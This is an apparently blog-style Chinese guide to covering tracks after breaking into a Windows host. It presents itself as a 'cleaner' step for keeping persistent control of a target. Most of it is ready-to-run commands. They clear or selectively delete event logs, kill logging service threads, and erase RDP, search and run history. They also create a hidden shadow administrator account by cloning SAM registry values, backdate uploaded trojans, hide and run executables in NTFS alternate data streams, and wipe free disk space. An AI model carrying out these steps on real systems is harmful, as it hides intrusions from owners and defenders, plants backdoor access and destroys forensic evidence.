系统入侵后要对操作痕迹进行清除,如果上传工具和木马文件要做隐藏和伪装,以免引起警觉甚至丢失目标,“清道夫”的工作虽有些烦杂,但这些工作直接影响到目标控守的持久性。

The quieter you become, the more you are able to hear.

文章目录

  • 一、痕迹清除
    • (一) 日志文件
    • (二) 搜索&连接
    • (三) 浏览器记录
    • (四) 隐藏用户
  • 二、文件伪装
    • (一) 伪装&隐藏
    • (二) 文件擦除

一、痕迹清除

(一) 日志文件

1.主机日志

类型 默认路径
系统日志 C:\Windows\System32\Winevt\Logs\System.evtx
安全日志 C:\Windows\System32\Winevt\Logs\Security.evtx
应用日志 C:\Windows\System32\Winevt\Logs\Application.evtx

(1) 全部清除

不留下任何痕迹,但是特征也很明显,容易被察觉,一般不推荐使用。

方法一:事件查看器删除

通过eventvwr打开事件查看器,在右边的操作一栏中,选择Clear Log...

方法二:powershell命令删除

  • cmd环境:
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"PowerShell -Command "& {Get-WinEvent -ListLog Application,System,Security -Force | % {Wevtutil.exe cl $_.Logname}}"
  • powershell环境:
Clear-Eventlog -Log Application,System,SecurityGet-WinEvent -ListLog Application,System,Security -Force | % {Wevtutil.exe cl $_.Logname}

(2) 定向清除

① 停止日志服务

方法一:工具实现

为避免清除的动作被日志记录,首先要停止日志记录,借助第三方工具实现,原理是定位并杀掉日志服务相关的线程,而其对应的svchost.exe进程并没有被杀掉,所以日志记录服务看起来是正常运行的。

项目地址:https://github.com/hlldz/Phant0m

工具老版本是用powershell写的,执行命令powershell -File Invoke-Phant0m,如果提示脚本文件无法执行,则可能是由于执行策略限制,通过命令修改执行策略即可(管理员权限):

# 查看当前ps脚本的执行策略
Get-ExecutionPolicy# 设置ps脚本禁止执行(默认)
Set-ExecutionPolicy Restricted# 设置ps脚本可执行
Set-ExecutionPolicy RemoteSigned

新版本需要自己编译生成可执行文件,原理在于定位并杀死日志服务运行线程,工具提供了两种定位日志服务线程的方法,在编译时要注意选择下。注意待日志清除后要恢复日志服务,命令是net start evevtlog

方法二:手动实现

首先利用powershell命令找出日志记录服务(eventlog)对应的进程PID,Get-WmiObjectGet-CimInstance命令都可以:

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'"Get-CimInstance -ClassName win32_service -Filter "name = 'eventlog'"

运行结果中可以看出eventlog服务对应的PID为840,然后利用Sysinternal套件中的工具procexp.exe(Process Explorer)找出PID=840的进程:


选择该scvhost.exe,点选右键->属性->线程,找出服务为eventlog的线程TID,如下图所示为876、884、1424、1428、1432,依次选择Kill这些线程,注意Suspend是不行的:


这样日志服务实际上就关闭了,但由于只是杀掉了其进程下运行的线程,而进程仍然存在,所以服务看起来是没有异样的,这和方法一中用工具实现的原理是相同的。

需要恢复日志记录服务时,在进程列表界面选择该scvhost.exe,点选右键->重新启动,然后运行命令net start eventlog就可以了。

② 删除日志

一般在做敏感操作时,先关闭入侵系统的日志服务,然后就可以做羞羞的事了,但如果是为了清除单条日志,则需要借助第三方工具实现。以下这个工具可以实现停止日志服务、根据EventRecordID删除单条日志记录等功能。

项目地址:https://github.com/QAX-A-Team/EventCleaner

使用方法:

EventCleaner suspend      # 暂停日志进程,停止日志记录EventCleaner normal       # 恢复日志进程EventCleaner closehandle  # 解除security.evtx的文件占坑EventCleaner 100          # 删除EventRecordID=100的日志

2.应用日志

删改WIndows安装的应用程序的日志相对简单些,因为定位其路径后就可以手动进行删改,思路都是相同的,都是先找到应用程序的日志路径,停止其相应服务,然后对日志内容进行删改

这里以最常见的WEB应用为例,日志类型及其默认路径和服务如下:(注意不同版本的应用日志默认存放路径可能不同)

日志类型 默认路径 相应服务
IIS C:\inetpub\logs\LogFiles\W3SVC1\ World Wide Publishing Service
Apache C:\Apache 2.4\logs Apache2.4
Tomcat C:\Tomcat 8.5\logs Apache Tomcat 8.5 Tomcat8

停止服务的命令一般用net stop即可,如net stop "World Wide Publishing Service",删除命令用Shift + Delete或cmd命令del

(二) 搜索&连接

获取shell后一般要谨慎行事,但是不排除特殊情况下要远程桌面连接上去做一些敏感操作,一旦留下痕迹切记要做好清理。

1.远程桌面记录

(1) 删除缓存

缓存文件默认为C:\Users\Administrator\Documents\Default.rdp,已隐藏,可到用户的Document目录下,文件夹选项选择隐藏文件可见,然后删除,也可以用cmd命令删除,注意这样删除的是全部的连接记录:

cd C:\Users\Administrator\Documents\
attrib Default.rdp -s -h
del Default.rdp

(2) 删除注册表

对应注册表项为HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\,可以用regedit打开注册表编辑器,找到这两个键,在右边定向删除对应的值,也可以用cmd命令将其全部清除:

reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /f
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Servers" /f

注意:reg delete默认是将该注册表项和其所有值以及子项全部都删除,如果只将该注册表项下的所有值都删除,不删除该注册表项和其子项,要用reg delete /va

2.文件搜索记录

对应注册表项为HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery,打开注册表编辑器,找到该键并删除对应的值。

3.文件浏览记录


对应注册表项为HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths,打开注册表编辑器,找到该键并删除对应的值。

4.最近访问位置

win7在我的电脑或资源管理器中,在最近访问位置右键->删除最近项目列表;win10在我的电脑或资源管理器中,选择查看->选项->常规中,将隐私一栏的“快速访问”两个选项去掉,并选择清除历史记录,界面如下:

5.运行命令记录

对应注册表项为HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU,打开注册表编辑器,找到该键并删除对应的值。

(三) 浏览器记录

如果必须用浏览器访问,尽量使用有隐私模式的浏览器,开启隐私模式可以避免在本地计算机留下历史记录、缓存文件和Cookies。

注意不同浏览器版本日志存放路径可能不同,以下例举的日志默认存放路径并不绝对。

1.IE

(1) 存放位置

工具->Internet 选项->常规->浏览历史记录->设置中的当前位置记录了缓存文件存放路径

日志类型 默认路径
浏览记录 C:\Users\Administrator\AppData\Local\Microsoft\Windows\History\
缓存文件 C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\
Cookies C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Cookies\

(2) 删除方法

  • 方法一:在浏览器搜索下拉栏中,直接选择删除相应的历史记录
  • 方法二:在工具->Internet 选项->常规->浏览历史记录中,选择删除所有浏览历史记录、缓存文件、Cookies

2.Chrome

(1) 存放位置

在浏览器搜索栏中输入chrome://version/,可以看到个人资料路径

日志类型 默认路径
浏览记录 C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\history
缓存文件 C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cache\
Cookies C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies

(2) 删除方法

  • 方法一:在浏览器搜索栏中输入chrome://history/,选择删除单条浏览记录
  • 方法二:在设置->隐私设置和安全性中,或在搜索栏输入chrome://history/后选择清除浏览数据,选择删除特定时间范围的浏览历史记录、缓存文件、Cookies

3.Firefox

(1) 存放位置

在浏览器搜索栏中输入about:cache,可以看到缓存文件的磁盘存储路径

日志类型 默认路径
浏览记录 C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\70rs4c5d.default-release\places.sqlite
缓存文件 C:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\70rs4c5d.default-release\cache2\
Cookies C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\afn7ww6q.default-release\cookies.sqlite

(2) 删除方法

  • 方法一:在Library->History->Recent History栏中右键删除特定的浏览记录
  • 方法二:在Library->History->Clear Recent History,或在Options->Privacy & Security中选择Clear History,删除指定时间范围的历史记录

(四) 隐藏用户

低级新建隐藏用户的方式是在新建用户名结尾加上$,这样虽然net user命令查看不到,但是以下三种方式都可以看到新建的用户:

  • powershell命令:powershell -c Get-LocalUser
  • 在计算机管理中 (cmd命令: compmgmt) 选择 “本地用户和组—>用户”,或者通过cmd命令 lusrmgr 直接打开
  • 控制面板 (cmd命令: control) 中选择“用户帐户—>用户帐户—>管理其他帐户”

而且在计算机登录界面也会显示新建的用户名,这样新建用户很容易被发现。

推荐使用新建 影子用户 的方式隐藏用户,这样只能通过注册表查看,其它方式无法查看隐藏用户信息。

方法:

(将新建用户admin$作为Administrator的影子用户,Administrator已激活)

1.新建用户

net user admin$ asdfasdf /add
net localgroup administrators admin$ /add

2.导出注册表

打开注册表,右键HKEY_LOCAL_MACHINE\SAM\SAM,当前用户 (组) 权限选择完全控制,然后重新打开注册表,再次选择HKEY_LOCAL_MACHINE\SAM\SAM就可以看见HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中的内容,如下所示:


HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names显示了系统当前存在的所有账户,选中admin$,在其右侧可见对应键值为"0x3ee",此键值为用户SID的结尾,即RID。同理找到Administrator右侧对应键值为"0x1f4",相应地将 00003EE00001F4admin$ 三个注册表项右键导出为reg格式文件:3ee.reg、1f4.reg、admin.reg

3.F键值替换

编辑 3ee.reg 和 1f4.reg,将 3ee.reg 中的F键值替换成 1f4.reg 中的F键值,F键值中存放了用户的登录信息,替换后也就是将Administrator用户的登录信息复制给了admin$,这样在操作系统内部就把admin$当做是Administrator,admin$也就成了Administrator的影子账户。

4.导入注册表

删除用户,然后将刚刚导出的 3ee.reg 和 admin.reg 重新导入:

net user admin$ /delregedit /s 3ee.reg
regedit /s admin.reg

影子账户建立完成,两者使用同一个用户配置文件,RDP登录admin$用户,桌面环境、浏览器配置等数据和Administrator同步一致,需谨慎操作。

不同环境下影子用户登录时现象不同,假设A为原用户,A$为A的影子用户,如果当前主机没有用户登录,则A$登录后quser显示就是A$在线;如果A已经登录 (Active或Disc),A$登录时情况要复杂些,分析如下:

  • 主机只允许每个用户1个session在线情况下 (缺省值):无论单用户还是多用户环境,A$登录时A直接掉线至锁屏,A不会有任何提示 (单用户环境下,当有用户在线,其他用户在远程登录时登录界面会提示:“如果继续,当前在线用户会断开”,选择继续后,当前在线的用户会出现提示:“其他用户正在连接,是否允许并断开当前的连接”,只有当选择允许或者超过30s才会建立连接),quser显示只有A在线,这与A登录新创建1个session的现象是相同的。

  • 主机允许每个用户多个session在线情况下:单用户环境下,无论A是否在线,A$登录都会接管A的桌面,quser显示仅有A在线;多用户环境下,当A用户在线 (Active),A$登录时不会将A挤掉,此时会重新初始化一个桌面环境,但是A和A$实际上用的是同一个桌面环境,一些软件如浏览器A打开后A$无法再次打开,quser显示A和A$同时在线,当A用户离线 (Disc),影子用户在登录时会接管A的桌面,quser显示只有A在线。

二、文件伪装

(一) 伪装&隐藏

1.修改时间

上传工具或木马文件后,为掩人耳目,要将其修改为和当前目录中文件相近的时间,可以利用powershell进行修改。

例如将刚上传的test.exe工具创建时间修改为2020年12月12日12:12:12,方法如下:

方法一:利用对象属性修改

查看文件的创建时间、修改时间、上次访问时间:

(ls "C:\temp\test.exe").CreationTIme
(ls "C:\temp\test.exe").LastWriteTime
(ls "C:\temp\test.exe").LastAccessTime

dir命令以及文件夹目录中显示的时间都是文件的修改时间LastWriteTime

修改文件的创建时间、修改时间、上次访问时间:

(ls "C:\temp\test.exe").CreationTIme = "2020年12月12日12:12:12"
(ls "C:\temp\test.exe").LastWriteTime = "2020年12月12日12:12:12"
(ls "C:\temp\test.exe").LastAccessTime = "2020年12月12日12:12:12"


方法二:利用cmdlet命令修改

查看文件属性信息,包括文件的创建时间、修改时间、上次访问时间:

Get-ItemProperty -Path "C:\temp\test.exe" | Format-list -Property *

修改文件的创建时间、修改时间、上次访问时间:

Set-ItemProperty -Path "C:\temp\test.exe" -Name CreationTIme -Value "2011-11-11 11:11:11"
Set-ItemProperty -Path "C:\temp\test.exe" -Name LastWriteTime -Value "2011-11-11 11:11:11"
Set-ItemProperty -Path "C:\temp\test.exe" -Name LastAccessTime -Value "2011-11-11 11:11:11"

2.文件隐藏

方法一:attrib命令

上传后利用attrib命令改变文件属性,命令格式:
attrib [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]

  • + 增加属性
  • - 减少属性
  • R 只读文件属性
  • A 存档文件属性
  • S 系统文件属性
  • H 隐藏文件属性
  • /S 处理当前文件夹及其子文件夹中的匹配文件
  • /D 也处理文件夹

例如在C:\temp目录上传工具test.exe,将其目录及其文件隐藏命令:attrib +r +a +s +h C:\temp\test.exe & attrib +r +a +s +h C:\temp,如果要将其删除,先要将其恢复然后再删除:attrib -r -a -s -h C:\temp & rmdir C:\temp /s /q

利用attrib隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir命令,都是不可见的,如果要查看可以用命令:dir /a

方法二:ADS隐写

首先要了解MAC文件系统 (HFS) 和Windows文件系统 (NTFS) 储存文件数据的方式:

  • MAC文件系统将文件数据存储在数据和资源两个部分,数据部分存储文件内容,资源部分用于告诉操作系统如何使用文件数据
  • Windows文件系统将文件数据全部存储在文件中,用文件扩展名 (.bat .exe .txt 等) 告诉操作系统如何使用文件数据

ADS (Alternate Data Streams) 是Windows文件系统NTFS的特性之一,目的是兼容MAC文件系统,原本用意是通过ADS兼容MAC文件系统中文件存储的资源部分,但可以利用此特性将文件隐藏在文件、目录甚至盘符的ADS中。

ADS隐藏文件可以起到很好效果,但如果想要利用ADS运行可执行文件,情况要复杂些,因为在Windows 7之后系统对ADS运行可执行文件作了限制,具体系统需要验证方法可行性。

目前在我的实验环境下将可执行文件隐藏到其他文件的ADS,测试了几种运行方法:只有runas命令在所有Windows版本是可行的,但是必须要交互输入用户密码,其他命令方式在不同版本系统表现不同,要先验证才行,实验中将工具test.exe上传至主机C:\temp目录,将其利用ADS隐藏,不同方法具体使用情况如下:

① 将其隐藏在用户桌面test.txt文件的ADS中,ADS命名为1.exe

# 隐藏ADS
type C:\temp\test.exe > C:\users\Jim\desktop\test.txt:1.exe# 先切换到ADS所在目录,再运行
# Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 测试可行
powershell -c "cd C:\users\Jim\desktop; .\test.txt:1.exe"

② 将其隐藏在C:\Windows目录的ADS中,ADS命名为2.exe

# 隐藏ADS
type C:\temp\test.exe > C:\Windows:2.exe# 先切换到ADS所在目录,再运行
# Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 测试可行
powershell -c "cd C:\; .\Windows:2.exe"

③ 将其隐藏在C:\盘符的ADS中,ADS命名为3.exe

type C:\temp\test.exe > C:3.exe# 隐藏在盘符中的方式在所有Windows系统中都可以直接运行
C:3.exe

利用ADS技术隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir命令,或是查看文件内容和大小,都是不可发现的,如果要查看可以用命令:dir /r,如果要将文件ADS删除,需要将文件转换为FAT、FAT32等其他文件系统格式,或是借助第三方工具如:SysinternalsSuite工具包中的 Streams ,使用方法如下:

# 查看文件/目录ADS
Streams.exe -s <DIR|FILE># 删除文件/目录ADS
Streams.exe -d <DIR|FILE>

(二) 文件擦除

对于敏感文件和工具,不能用常规的删除命令,因为常规删除的文件会进入回收站,易留下痕迹,而且在磁盘空间未覆盖情况下可以用数据恢复软件恢复,以下这些命令更加安全高效:

1.命令行Del/Erase删除

永久删除文件,不会经过回收站,但是没有覆盖,用数据恢复软件仍有恢复可能。

2.Shift+Delete永久删除

永久删除文件,不会经过回收站,但是没有覆盖,用数据恢复软件仍有恢复可能。

3.Cipher擦除覆写

cipher /W:directory:从整个卷上可用的磁盘空间中覆写数据,从而覆盖已删除文件的硬盘空间,这样之前删除的数据顶多能够恢复文件名,但是恢复数据几乎是不可能的

例如刚删除工具C:\temp\test.exe,然后执行cipher /W:C,这样C盘上的空余空间就会被覆写三轮,分别是0x00、0xFF、随机数,覆写需要一段时间,这取决于C盘空余空间的大小。

4.Format格式化覆写

format volume /P:count:将volume卷上每个扇区清零,此后该卷将被改写count次,且每次使用不同的随机数。

例如format D: /P:10表示把D盘用随机数格式化后再覆写10次。

Windows痕迹清除技术相关推荐

  1. Linux痕迹清除技术

    系统入侵后要对操作痕迹进行清除,如果上传工具和木马文件要做隐藏和伪装,以免引起警觉甚至丢失目标,"清道夫"的工作虽有些烦杂,但这些工作直接影响到目标控守的持久性. The quie ...

  2. 红队渗透-window痕迹清除

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言 一.windows操作系统基础入门 二.windows渗透痕迹清除 1.为避免入侵操作行为被发现时,攻击者往往通过各种 ...

  3. 删除计算机运行痕迹,清除电脑使用痕迹软件_如何清除电脑使用痕迹

    2016-11-27 12:17:39 1. 清除最近使用过的文档记录:右键点击"开始"按钮,选择"属性",在弹出的设置任务栏和开始菜单属性对话窗中点" ...

  4. 9、Windows驱动开发技术详解笔记(5) 基本语法回顾

    5.在驱动中获取系统时间 1)获取启动毫秒数 在ring3 我们可以通过一个GetTickCount 函数来获得自系统启动开始的毫秒数,在ring0也有一个与之对应的KeQueryTickCount ...

  5. 软件定义数据中心—Windows Server SDDC技术与实践

    <软件定义数据中心-Windows Server SDDC技术与实践>是国内第一本讲解微软Windows Server 软件定义数据中心的中文图书,书中系统.全面地介绍了微软Windows ...

  6. 我写的几篇技术文章之一:Windows消息拦截技术的应用

    Windows消息拦截技术的应用<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office&quo ...

  7. 《软件定义数据中心:Windows Server SDDC技术与实践》——导读

    前言 通过对自身的审视和对身边IT 技术专家的观察,我发现对于我们来说,掌握一项新的技术或熟悉一个新的产品,大都是闻而后知,知而后学,学以致用,用以知其然.然而Windows Server作为一个简单 ...

  8. 15、Windows驱动开发技术详解笔记(11) 基本概念

    9.Windows驱动程序的入口函数规定为_DriverEntry@8,所以用C++编写时要用extern. 驱动程序中,不能使用编译器运行时函数,甚至C语言中的malloc,C++的new函数都不能 ...

  9. mfc编程vc6.0实现进程的创建和通信_免费送书:windows黑客编程技术详解

    01 书怎么送 点赞并留言,关注在下面的公众号后台回复「抽奖」,弹出小程序后点击参与. 开奖时间是 7 月 7 号 20:00 ,一定要留意微信消息,如果你中奖了,请尽快在中奖页面提交收件人信息并备注 ...

  10. 《软件定义数据中心:Windows Server SDDC技术与实践》——第1章 微软数据中心与SDDC漫谈1.1 微软数据中心建设之道...

    本节书摘来自异步社区<软件定义数据中心:Windows Server SDDC技术与实践>一书中的第1章,第1.1节,作者: 黄利军 更多章节内容可以访问云栖社区"异步社区&qu ...

最新文章

  1. CamVox:一种低成本、高精度的激光雷达辅助视觉SLAM系统
  2. 【Linux】修改/etc/fstab时参数设错,导致启动异常,无法进入系统(已解决)
  3. Java 集合系列11: Hashtable深入解析(1)
  4. 注定一爆就完的ZAO ,为什么只是一剂社交毒药?
  5. 2018.8.5 复习笔记
  6. Python 之字符串常用方法
  7. 我的世界1 11java,Editing Java版Alpha v1.0.11
  8. 使用BeetleX.ESDoc构建文档搜索功能
  9. 计算机快捷键知识点,电脑常用快捷键基础的知识点(12页)-原创力文档
  10. 【数据结构与算法】字符串匹配 KMP 算法
  11. iOS:Masonry 英文原档介绍
  12. ubuntu系统部署python3.6.4
  13. POJ-2488 A Knights Journey-深度优先搜索DFS
  14. 编写一个Java程序将当100,101,102,103,104,105个数以数组的形式写入到Dest.txt文件中,并以相反的顺序读出显示在屏幕上。
  15. oracle Ebs database clone (no apps clone)
  16. 复习HTTP状态码+301和302
  17. 【图像处理】【去模糊】图像去模糊的原理
  18. CSS学习总结(6)——定位与布局
  19. 营业执照验证php,基于PHP的营业执照识别示例代码-六派数据
  20. 创建一个商品类Product类,在该类中定义3个属性id,name,price和重写toString()方法

热门文章

  1. 信号与电源完整性6:EMI电磁干扰分析及降低解决方案概述
  2. 【CSS3学习笔记】16:边框图片效果
  3. SQL Server 负载均衡集群方案之Moebius
  4. 影音嗅探专家 v2007.1 怎么用
  5. PQ分区出错,由Ghost来补救的办法(转)
  6. JAVA 中的修饰符的适用范围
  7. React组件通信-父子组件间的通信
  8. 2021年全球网络保险收入大约9593.9百万美元,预计2028年达到68230百万美元,2022至2028期间,年复合增长率CAGR为35.1%
  9. h2o api java_h2o H2OAutoEncoderEstimator
  10. YIQ、YUV、YCrCb 与 RGB关系